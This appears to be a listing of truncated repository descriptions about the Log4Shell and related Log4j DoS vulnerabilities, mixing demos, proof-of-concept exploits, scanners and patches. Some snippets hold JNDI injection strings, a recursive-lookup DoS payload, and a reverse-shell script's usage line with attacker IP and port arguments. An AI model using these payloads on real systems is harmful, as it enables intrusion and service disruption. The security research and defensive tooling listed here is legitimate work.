log4shell-example

Log4Shell Exploit Test The goal of this project is to demonstrate the log4j cve-2021-44228 exploit vulnerability in a spring-boot setup, and to show how to fix it. This project contains three submodules. One of these has vulnerable code, the other two are patched. How to use this project Run ./mv...

log4j2_dos_exploit

Description about author: iAmSoScArEd blog: https://www.cnblogs.com/iAmSoScArEd/ github: https://github.com/iAmSOScArEd/ date: 2021-12-20 log4j2 dos exploit log4j2 dos exploit script CVE-2021-45105 Exploit CVE-2021-45105 exploit script Usage how to use English： Log4j2dos.py -u -m -d -H -l -t...

log4shell-vulnerable-app

Log4Shell sample vulnerable application CVE-2021-44228 This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell. It uses Log4j 2.14.1 through spring-boot-starter-log4j2 2.6.1 and the JDK 1.8.0181. Running the application Run it: docker run --name...

log4j2

log4j2 this is a log4j2 jmi attack demo, inspired by link...

Log4j-Vulnerability

Log4j Vulnerability Tutorial: https://youtu.be/PNDBjoT83zA Tutorial: https://cryptodeeptech.ru/log4j-vulnerability Background on Log4j Alibaba Cloud Security Team publicly disclosed a critical vulnerability CVE-2021-44228 enabling unauthenticated remote code execution against multiple versions of...

log4j2-exploit

Log4Shell CVE-2021-44228 proof of concept Requirement Java JDK/JRE 8 or later version curl exploitable Simple spring boot application that serves a login page with user and password. It logs the user name when POSTed to /. It is not required for the application to log any user provided input...

Log4j2-CVE-2021-44228

CVE-2021-44228 Remote Code Injection In Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml default use : xml org.springframework.boot spring-boot-starter-web mvn dependency:treejava INFO | | +- org.springframework.boot:spring-boot-starter-logging:jar:2.6.1:compile INF...

cloudrasp-log4j2

CloudArmor · Módulo de Autoprotección de Aplicaciones en Tiempo de Ejecución - Versión Log4j2 简体中文 Este proyecto es una versión local de CloudArmor construida específicamente para defender Log4j2 CVE-2021-44228. No se requiere conexión de red para ejecutar este proyecto. Por favor, REALICE PRUEBA...

Log4j-PoC

Proof of Concept for Log4j CVE-2021-44228 Disclaimer This project is only for educational purposes. Introduction This is a proof of concept of the log4j rce adapted from HyCraftHD. Here are some links for the CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day...

Log4jShell-Scan

Descripción Escáner de RCE para Log4j2 CVE-2021-44228 para redes internas, que se puede utilizar para escanear vulnerabilidades en entornos sin conexión a Internet, ayudando a las empresas a detectar rápidamente la vulnerabilidad Log4jShell. Modificado de: https://github.com/fullhunt/log4j-scan...

CVE-2021-44228-Demo

CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer and LdapServ...

hotpatch-for-apache-log4j2

Log4jHotPatch This is a tool which injects a Java agent into a running JVM process. The agent will attempt to patch the lookup method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string "Patched JndiLookup::lookup". It is designed to addres...

hotpatch-for-apache-log4j2

Log4jHotPatch Esta es una herramienta que inyecta un agente Java en un proceso JVM en ejecución. El agente intentará parchear el método lookup de todas las instancias cargadas de org.apache.logging.log4j.core.lookup.JndiLookup para que devuelvan incondicionalmente la cadena "Patched...

Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 This is a proof of concept of the log4j rce. Here are some links for the CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Usage For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...

Log4j_dos_CVE-2021-45105

Log4j2 DOS CVE-2021-45105 Poc $$::-$::-$$::-$ Versions Affected: all versions from 2.0-beta9 to 2.16.0 This application is based on Spring Boot web application vulnerable to CVE-2021-45105 It uses Log4j 2.16.0 Running the application Run it: Import the project in Java IDE as a maven project Run...

log4j2-CVE-2021-44228

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CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute...

checkmk-log4j-scanner

checkmk extension to check for log4j2 CVE-2021-44228 This Plugin wraps around logpresso/CVE-2021-44228-Scanner Apache License 2.0 How it works Run in 5 steps: 1. Find all .jar, .war, .ear, .aar files recursively. 2. Find META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties entry from...

log4j-poc

log4j-poc Un exploit LDAP RCE para CVE-2021-44228 Log4Shell Descripción El servidor Tomcat 8 de demostración en el puerto 8080 tiene una aplicación vulnerable log4shell desplegada en él y el servidor también es vulnerable mediante ataques de user-agent. La aplicación de exploit remoto en esta dem...